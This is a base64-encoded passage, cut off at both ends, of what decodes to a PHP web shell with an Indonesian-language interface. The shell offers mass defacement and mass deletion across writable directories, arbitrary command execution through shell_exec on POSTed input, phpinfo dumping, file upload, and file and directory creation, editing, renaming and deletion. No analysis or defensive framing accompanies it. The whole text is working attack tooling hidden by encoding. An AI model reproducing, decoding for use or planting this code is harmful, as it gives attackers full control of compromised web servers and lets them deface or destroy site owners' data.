Zm9ybS1jaGVjay1sYWJlbCcgZm9yPSdmbGV4Q2hlY2tEZWZhdWx0Jz5CaWFzYTwvbGFiZWw+Cgk8L2Rpdj4KCTxkaXYgY2xhc3M9J2Zvcm0tY2hlY2snPgoJCTxpbnB1dCBjbGFzcz0nZm9ybS1jaGVjay1pbnB1dCcgdHlwZT0nY2hlY2tib3gnIHZhbHVlPSdtYXNzYWwnIG5hbWU9J3RpcGUnIGlkPSdmbGV4Q2hlY2tEZWZhdWx0Jz4KCQk8bGFiZWwgY2xhc3M9J2Zvcm0tY2hlY2stbGFiZWwnIGZvcj0nZmxleENoZWNrRGVmYXVsdCc+TWFzc2FsPC9sYWJlbD4KCTwvZGl2PgoJCTxpIGNsYXNzPSdiaSBiaS1mb2xkZXInPjwvaT4gTG9rYXNpOgoJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nZF9kaXInIHZhbHVlPSckZGlyJz4KCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4tc20nIHR5cGU9J3RleHQnIG5hbWU9J2RfZmlsZScgcGxhY2Vob2xkZXI9J25hbWEgZmlsZScgJF9yPgoJCTxpIGNsYXNzPSdiaSBiaS1maWxlLWVhcm1hcmsnPjwvaT4gSXNpIGZpbGU6CgkJPHRleHRhcmVhIGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyByb3dzPSc3JyBuYW1lPSdzY3JpcHQnIHBsYWNlaG9sZGVyPSdpc2kgZmlsZScgJF9yPjwvdGV4dGFyZWE+CgkJPGRpdiBjbGFzcz0nZC1ncmlkIGdhcC0yJz4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nbWFzcyBkZWZhY2UnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwp9CmlmKGlzc2V0KCRfR0VUWydtYXNzX2RlbGV0ZSddKSkgewplY2hvICIkX3MiOwpmdW5jdGlvbiBoYXB1c19tYXNzYWwoJGRpciwkbmFtYWZpbGUpIHsKaWYoaXNfd3JpdGFibGUoJGRpcikpIHsKCSRkaXJhID0gc2NhbmRpcigkZGlyKTsKCWZvcmVhY2goJGRpcmEgYXMgJGRpcmIpIHsKCQkkZGlyYyA9ICIkZGlyLyRkaXJiIjsKCQkk4paaID0gJGRpcmMuJy8nLiRuYW1hZmlsZTsKCQlpZigkZGlyYiA9PT0gJy4nKSB7CgkJCWlmKGZpbGVfZXhpc3RzKCIkZGlyLyRuYW1hZmlsZSIpKSB7CgkJCQl1bmxpbmsoIiRkaXIvJG5hbWFmaWxlIik7CgkJCX0KCQl9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgewoJCQlpZihmaWxlX2V4aXN0cygiIi5kaXJuYW1lKCRkaXIpLiIvJG5hbWFmaWxlIikpIHsKCQkJCXVubGluaygiIi5kaXJuYW1lKCRkaXIpLiIvJG5hbWFmaWxlIik7CgkJCX0KCQl9ZWxzZXsKCQkJaWYoaXNfZGlyKCRkaXJjKSkgewoJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7CgkJCQkJaWYoZmlsZV9leGlzdHMoJOKWmikpIHsKCQkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JOKWmjxicj4iOwoJCQkJCQl1bmxpbmsoJOKWmik7CgkJCQkJCSTilp8gPSBoYXB1c19tYXNzYWwoJGRpcmMsJG5hbWFmaWxlKTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KfQppZigkX1BPU1RbJ3N0YXJ0J10pIHsKCWhhcHVzX21hc3NhbCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10pOwp9CmVjaG8gIgo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+CgkJPGkgY2xhc3M9J2JpIGJpLWZvbGRlcic+PC9pPiBMb2thc2k6CgkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSdkX2RpcicgdmFsdWU9JyRkaXInPgoJCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBtYi0zJz4KCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHBsYWNlaG9sZGVyPSduYW1hIGZpbGUnICRfcj48YnI+CgkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAtYXBwZW5kJz4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nbWFzcyBkZWxldGUnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwp9CmlmKGlzc2V0KCRfR0VUWydjbWQnXSkpIHsKaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pKSB7CgkkY21kID0gc2hlbGxfZXhlYygkX1BPU1RbJ2NtZCddLicgMj4mMScpOwp9CmVjaG8gIiRfcwo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+CgkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAgbWItMyc+CgkJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nY21kJyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY21kJ10sIEVOVF9RVU9URVMsICdVVEYtOCcpLiInIHBsYWNlaG9sZGVyPSd3aG9hbWknICRfcj4KCQkJPGJ1dHRvbiBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgdHlwZT0nc3VtYml0Jz48aSBjbGFzcz0nYmkgYmktYXJyb3ctcmV0dXJuLXJpZ2h0Jz48L2k+PC9idXR0b24+CgkJPC9kaXY+Cgk8L2Zvcm0+IjsKCWlmKCRjbWQpOgoJZWNobyAnCgk8ZGl2IGNsYXNzPSJjb250YWluZXItZmx1aWQgbGFuZ3VhZ2UtamF2YXNjcmlwdCI+CgkJPGRpdiBjbGFzcz0ic2hlbGwgbWItMyI+CgkJCTxwcmUgc3R5bGU9ImZvbnQtc2l6ZToxMHB4OyI+PGNvZGU+Jy5odG1sc3BlY2lhbGNoYXJzKCRjbWQsIEVOVF9RVU9URVMsICdVVEYtOCcpLic8L2NvZGU+PC9wcmU+CgkJPC9kaXY+Cgk8L2Rpdj4nOwoJZWxzZWlmKCEkY21kICYmICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09ICdQT1NUJyk6CgllY2hvICcKCTxkaXYgY2xhc3M9ImNvbnRhaW5lci1mbHVpZCBsYW5ndWFnZS1qYXZhc2NyaXB0Ij4KCQk8ZGl2IGNsYXNzPSJzaGVsbCBtYi0zIj4KCQkJPHByZSBzdHlsZT0iZm9udC1zaXplOjEwcHg7Ij48Y29kZT5UaWRhayBhZGEgaGFzaWw8L2NvZGU+PC9wcmU+CgkJPC9kaXY+Cgk8L2Rpdj4KPC9kaXY+JzsKZW5kaWY7Cn0KaWYoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHsKCUBvYl9zdGFydCgpOwoJQGV2YWwoInBocGluZm8oKTsiKTsKCSRidWZmID0gQG9iX2dldF9jb250ZW50cygpOwoJQG9iX2VuZF9jbGVhbigpOwkKCSRhd2FsID0gc3RycG9zKCRidWZmLCI8Ym9keT4iKSs2OwoJJGFraGlyID0gc3RycG9zKCRidWZmLCI8L2JvZHk+Iik7CgllY2hvICI8Yj48cHJlIGNsYXNzPSdwaHBfaW5mbyBhbnUnPiIuc3Vic3RyKCRidWZmLCRhd2FsLCRha2hpci0kYXdhbCkuIjwvcHJlPjwvYj4iOwoJZXhpdDsKfQppZihpc3NldCgkX0dFVFsndXBsb2FkJ10pKSB7CmVjaG8gIiRfcyI7CmlmKGlzc2V0KCRfUE9TVFsndXBsJ10pKXsKCSRoYXNpbCA9IGNvdW50KCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTsKCWZvcigkaXNpPTA7JGlzaTwkaGFzaWw7JGlzaSsrKXsKCQkkbmFtYWZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXVskaXNpXTsKCQkJJHVwID0gQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddWyRpc2ldLCIkcGF0aC8iLiRuYW1hZmlsZSk7CgkJfQoJCWlmKCRoYXNpbCA8IDIpewoJCQlpZigkdXApewoJCQllY2hvICI8c3Ryb25nPlVwbG9hZDwvc3Ryb25nPiAkbmFtYWZpbGUgb2shICIub2soKS4iPC9kaXY+IjsKCQl9ZWxzZXsKCQllY2hvICc8c3Ryb25nPlVwbG9hZDwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX1lbHNlewoJZWNobyAiPHN0cm9uZz5VcGxvYWQ8L3N0cm9uZz4gJGhhc2lsIG9rISAiLm9rKCkuIjwvZGl2PiI7Cgl9Cn0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBtYi0zJz4KCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtJyB0eXBlPSdmaWxlJyBuYW1lPSdmaWxlW10nIG11bHRpcGxlPScnICRfcj4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3VwbCcgdmFsdWU9J3VwbG9hZCc+CgkJPC9kaXY+Cgk8L2Zvcm0+CjwvZGl2PiI7Cn0KaWYoaXNzZXQoJF9HRVRbJ2ZpbGViYXJ1J10pKSB7CmVjaG8gIiRfcyI7CmlmKGlzc2V0KCRfUE9TVFsnYmlraW4nXSkpewoJJG5hbWUgPSAkX1BPU1RbJ25hbWFfZmlsZSddOwoJJGlzaV9maWxlID0gJF9QT1NUWydpc2lfZmlsZSddOwoJZm9yZWFjaCAoJG5hbWUgYXMgJG5hbWFfZmlsZSl7CgkJJGhhbmRsZSA9IEBmb3BlbigiJG5hbWFfZmlsZSIsICJ3Iik7CgkJaWYoJGlzaV9maWxlKXsKCQkJJGJ1YXQgPSBAZndyaXRlKCRoYW5kbGUsICRpc2lfZmlsZSk7CgkJfWVsc2V7CgkJCSRidWF0ID0gJGhhbmRsZTsKCQl9Cgl9CglpZigkYnVhdCl7CgkJZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSRwYXRoJzwvc2NyaXB0PiI7Cgl9ZWxzZXsKCQllY2hvICc8c3Ryb25nPkJ1YXQgZmlsZTwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJz4KCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIHR5cGU9J3RleHQnIG5hbWU9J25hbWFfZmlsZVtdJyBwbGFjZWhvbGRlcj0nTmFtYSBmaWxlJyAkX3I+CgkJPGkgY2xhc3M9J2JpIGJpLWZpbGUtZWFybWFyayc+PC9pPiBJc2kgZmlsZToKCQk8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIG5hbWU9J2lzaV9maWxlJyByb3dzPSc3JyBwbGFjZWhvbGRlcj0nSXNpIGZpbGUnICRfciA+PC90ZXh0YXJlYT4KCQk8ZGl2IGNsYXNzPSdkLWdyaWQgZ2FwLTInPgoJCQk8aW5wdXQgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIHR5cGU9J3N1Ym1pdCcgbmFtZT0nYmlraW4nIHZhbHVlPSdidWF0Jz4KCQk8L2Rpdj4KCTwvZm9ybT4KPC9kaXY+IjsKfQppZihpc3NldCgkX0dFVFsnZGlyYmFydSddKSkgewplY2hvICIkX3MiOwppZihpc3NldCgkX1BPU1RbJ2J1YXQnXSkpewoJJG5hbWEgPSAkX1BPU1RbJ25hbWFfZGlyJ107Cglmb3JlYWNoICgkbmFtYSBhcyAkbmFtYV9kaXIpewoJCSRmb2xkZXIgPSBwcmVnX3JlcGxhY2UoIihbXlx3XHNcZFwtX34sOzpcW1xdXChcXS5dfFtcLl17Mix9KSIsICcnLCAkbmFtYV9kaXIpOwoJCSRmZCA9IEBta2RpciAoJGZvbGRlcik7Cgl9CglpZigkZmQpewoJCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgkJZWNobyAnPHN0cm9uZz5CdWF0IGRpcjwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJCX0KCX0KZWNobyAiCjxkaXYgY2xhc3M9J21iLTMnPgoJPGZvcm0gbWV0aG9kPSdQT1NUJz4KCQk8aSBjbGFzcz0nYmkgYmktZm9sZGVyJz48L2k+IE5hbWEgZGlyOgoJCTxkaXYgY2xhc3M9J2lucHV0LWdyb3VwIG1iLTMnPgoJCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc20nIHR5cGU9J3RleHQnIG5hbWU9J25hbWFfZGlyW10nIHBsYWNlaG9sZGVyPSdOYW1hIGRpcicgJF9yPgoJCQk8aW5wdXQgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIHR5cGU9J3N1Ym1pdCcgbmFtZT0nYnVhdCcgdmFsdWU9J2J1YXQnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwoJfQp9Ci8vIGFraGlyIHRvb2xzCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKZWNobyAiPGJyPjxiPm5hbWUgOiA8L2I+Ii5iYXNlbmFtZSgkX0dFVFsnZmlsZXNyYyddKTsiPC9icj4iOwplY2hvICcKPGRpdiBjbGFzcz0iY29udGFpbmVyLWZsdWlkIGxhbmd1YWdlLWphdmFzY3JpcHQiPgoJPGRpdiBjbGFzcz0ic2hlbGwgbWItMyI+CgkJPHByZSBzdHlsZT0iZm9udC1zaXplOjEycHg7Ij48Y29kZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L2NvZGU+PC9wcmU+Cgk8L2Rpdj4KPC9kaXY+JzsKfSBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdoYXB1cycpewplY2hvICc8YnI+PGI+bmFtZSA6IDwvYj4nLmJhc2VuYW1lKCRfUE9TVFsncGF0aCddKTsnPC9icj4nOwovLyBmaWxlCmlmKCRfUE9TVFsnb3B0J10gPT0gJ2dhbnRpX25hbWEnKXsKaWYoaXNzZXQoJF9QT1NUWyduYW1hX2JhcnUnXSkpewppZihyZW5hbWUoJF9QT1NUWydwYXRoJ10sJHBhdGguJy8nLiRfUE9TVFsnbmFtYV9iYXJ1J10pKXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSRwYXRoJzwvc2NyaXB0PiI7Cgl9ZWxzZXsKZWNobyAnPHN0cm9uZz5HYW50aSBuYW1hPC9zdHJvbmc+IGdhZ2FsISAnLmVyKCkuJzwvZGl2Pic7Cn0KJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25hbWFfYmFydSddOwp9CmVjaG8gJwo8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAgbWItMyI+CgkJPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtIiBuYW1lPSJuYW1hX2JhcnUiIHR5cGU9InRleHQiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImdhbnRpX25hbWEiPgoJCTxpbnB1dCBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iZ2FudGkgbmFtYSIvPgoJPC9kaXY+CjwvZm9ybT4nOwp9IGVsc2VpZigkX1BPU1RbJ29wdCddID09ICdlZGl0Jyl7CmlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsKaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CmVjaG8gJzxzdHJvbmc+RWRpdDwvc3Ryb25nPiBvayEgJy5vaygpLic8L2Rpdj4nOwoJfWVsc2V7CmVjaG8gJzxzdHJvbmc+RWRpdDwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwp9CmZjbG9zZSgkZnApOwp9CmVjaG8gJwo8ZGl2IGNsYXNzPSJtYi0zIj4KCTxmb3JtIG1ldGhvZD0iUE9TVCI+CgkJPHRleHRhcmVhIGNsYXNzPSJmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtIG1iLTMiIHJvd3M9IjciIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KCQk8ZGl2IGNsYXNzPSJkLWdyaWQgZ2FwLTIiPgoJCQk8aW5wdXQgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc20iIHR5cGU9InN1Ym1pdCIgdmFsdWU9ImVkaXQiLz4KCQk8L2Rpdj4KCTwvZm9ybT4KPC9kaXY+JzsKCX0KfWVsc2V7Ci8vaGFwdXMgZGlyICYgZmlsZQppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2hhcHVzJyl7CmlmKCRfUE9TVFsndHlwZSddID09ICdkaXInKXsKaWYocm1kaXIoJF9QT1NUWydwYXRoJ10pKXsKCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgllY2hvICc8c3Ryb25nPkhhcHVzIGRpcjwvc3Ryb25nPiBnYWdhbCEgJy5lcigpLic8L2Rpdj4nOwoJfQp9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnZmlsZScpewppZih1bmxpbmsoJF9QT1NUWydwYXRoJ10pKXsKCWVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSc/cGF0aD0kcGF0aCc8L3NjcmlwdD4iOwoJfWVsc2V7CgllY2hvICc8c3Ryb25nPkhhcHVzIGZpbGU8L3N0cm9uZz4gZ2FnYWwhICcuZXIoKS4nPC9kaXY+JzsKCQl9Cgl9Cn0KJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKJHBhID0gZ2V0Y3dkKCk7CmVjaG8gJwo8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlIj4KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciB0YWJsZS1kYXJrIHRleHQtbGlnaHQiPgo8dGhlYWQ+Cjx0cj4KCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPm5hbWU8L3RkPgoJCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPmxhc3QgZWRpdDwvdGQ+CgkJPHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+c2l6ZTwvdGQ+CgkJPHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+b3duZXI8Z3I+OjwvZ3I+ZG93bmVyPC90ZD4KCQk8dGQgY2xhc3M9InRleHQtY2VudGVyIj5wZXJtaXNzaW9uPC90ZD4KCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPm9wdGlvbnM8L3RkPgo8L3RyPgo8L3RoZWFkPgo8dGJvZHkgY2xhc3M9InRleHQtbm93cmFwIj4KPHRyPgoJPHRkPjxpIGNsYXNzPSJiaSBiaS1mb2xkZXIyLW9wZW4iPjwvaT48YSBjbGFzcz0idGV4dC1kZWNvcmF0aW9uLW5vbmUgdGV4dC1zZWNvbmRhcnkiIGhyZWY9Ij9wYXRoPScuZGlybmFtZSgkZGlyKS4nIj4uLjwvYT48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPgoJCTxkaXYgY2xhc3M9ImJ0bi1ncm91cCI+CgkJCTxhIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIiBocmVmPSI/ZmlsZWJhcnUmcGF0aD0nLiRkaXIuJyI+PGkgY2xhc3M9ImJpIGJpLWZpbGUtZWFybWFyay1wbHVzLWZpbGwiPjwvaT48L2E+CgkJCTxhIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIiBocmVmPSI/ZGlyYmFydSZwYXRoPScuJGRpci4nIj48aSBjbGFzcz0iYmkgYmktZm9sZGVyLXBsdXMiPjwvaT48L2E+CgkJPC9kaXY+Cgk8L3RkPgo8L3RyPic7CmZvcmVhY2goJHNjYW5kaXIgYXMgJGRpcil7CgkkZHQgPSBkYXRlKCJZLW0tZCBIOmk6cyIsIGZpbGVtdGltZSgiJHBhdGgvJGRpciIpKTsKCWlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgewoJCSRkb3duZXIgPSBAcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIkcGF0aC8kZGlyIikpOwoJCSRkb3duZXIgPSAkZG93bmVyWyduYW1lJ107Cgl9ZWxzZXsKCQkkZG93bmVyID0gZmlsZW93bmVyKCIkcGF0aC8kZGlyIik7Cgl9CglpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHsKCQkkZGdycCA9IEBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoIiRwYXRoLyRkaXIiKSk7CgkJJGRncnAgPSAkZGdycFsnbmFtZSddOwoJfWVsc2V7CgkJJGRncnAgPSBmaWxlZ3JvdXAoIiRwYXRoLyRkaXIiKTsKCX0KaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7CmVjaG8gIgo8dHI+Cgk8dGQ+PGkgY2xhc3M9J2JpIGJpLWZvbGRlci1maWxsJz48L2k+PGEgY2xhc3M9J3RleHQtZGVjb3JhdGlvbi1ub25lIHRleHQtc2Vjb25kYXJ5JyBocmVmPVwiP3BhdGg9JHBhdGgvJGRpclwiPiRkaXI8L2E+PC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRkdDwvdGQ+Cgk8dGQgY2xhc3M9J3RleHQtY2VudGVyJz4tPC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRkb3duZXI8Z3I+OjwvZ3I+JGRncnA8L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+IjsKaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGdyPic7CmVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPHJkPic7CmVjaG8gcCgiJHBhdGgvJGRpciIpOwppZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2dyPjwvcmQ+PC90ZD4nOwplY2hvICIKCTx0ZCBjbGFzcz1cInRleHQtY2VudGVyXCI+Cgk8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CgkJPGRpdiBjbGFzcz1cImJ0bi1ncm91cFwiPgoJCQk8YnV0dG9uIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbVwiIG5hbWU9XCJvcHRcIiB2YWx1ZT1cImdhbnRpX25hbWFcIj48aSBjbGFzcz0nYmkgYmktcGVuY2lsLWZpbGwnPjwvaT48L2J1dHRvbj4KCQkJPGJ1dHRvbiBjbGFzcz1cImJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc21cIiBuYW1lPVwib3B0XCIgdmFsdWU9XCJoYXB1c1wiPjxpIGNsYXNzPSdiaSBiaS10cmFzaC1maWxsJz48L2k+PC9idXR0b24+CgkJPC9kaXY+CgkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZGlyXCI+CgkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGRpclwiPgoJCTxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBhdGhcIiB2YWx1ZT1cIiRwYXRoLyRkaXJcIj4KCTwvZm9ybT4KCTwvdGQ+CjwvdHI+IjsKfQpmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsKCSRmdCA9IGRhdGUoIlktbS1kIEg6aTpzIiwgZmlsZW10aW1lKCIkcGF0aC8kZmlsZSIpKTsKCWlmKCFpc19maWxlKCRwYXRoLicvJy4kZmlsZSkpIGNvbnRpbnVlOwoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKSB7CgkJJGZvd25lciA9IEBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoIiRwYXRoLyRmaWxlIikpOwoJCSRmb3duZXIgPSAkZm93bmVyWyduYW1lJ107Cgl9ZWxzZXsKCQkkZm93bmVyID0gZmlsZW93bmVyKCIkcGF0aC8kZmlsZSIpOwoJfQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7CgkJJGZncnAgPSBAcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCIkcGF0aC8kZmlsZSIpKTsKCQkkZmdycCA9ICRmZ3JwWyduYW1lJ107Cgl9ZWxzZXsKCQkkZmdycCA9IGZpbGVncm91cCgiJHBhdGgvJGZpbGUiKTsKCX0KZWNobyAiCjx0cj4KCTx0ZD48aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrLWNvZGUtZmlsbCc+PC9pPjxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LXNlY29uZGFyeScgaHJlZj1cIj9maWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT48L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+JGZ0PC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiIuc3ooZmlsZXNpemUoJGZpbGUpKS4iPC90ZD4KCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRmb3duZXI8Z3I+OjwvZ3I+JGZncnA8L3RkPgoJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+IjsKaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzxncj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8cmQ+JzsKZWNobyBwKCIkcGF0aC8kZmlsZSIpOwppZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZ3I+PC9yZD48L3RkPic7CmVjaG8gIgoJPHRkIGNsYXNzPVwidGV4dC1jZW50ZXJcIj4KCQk8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoP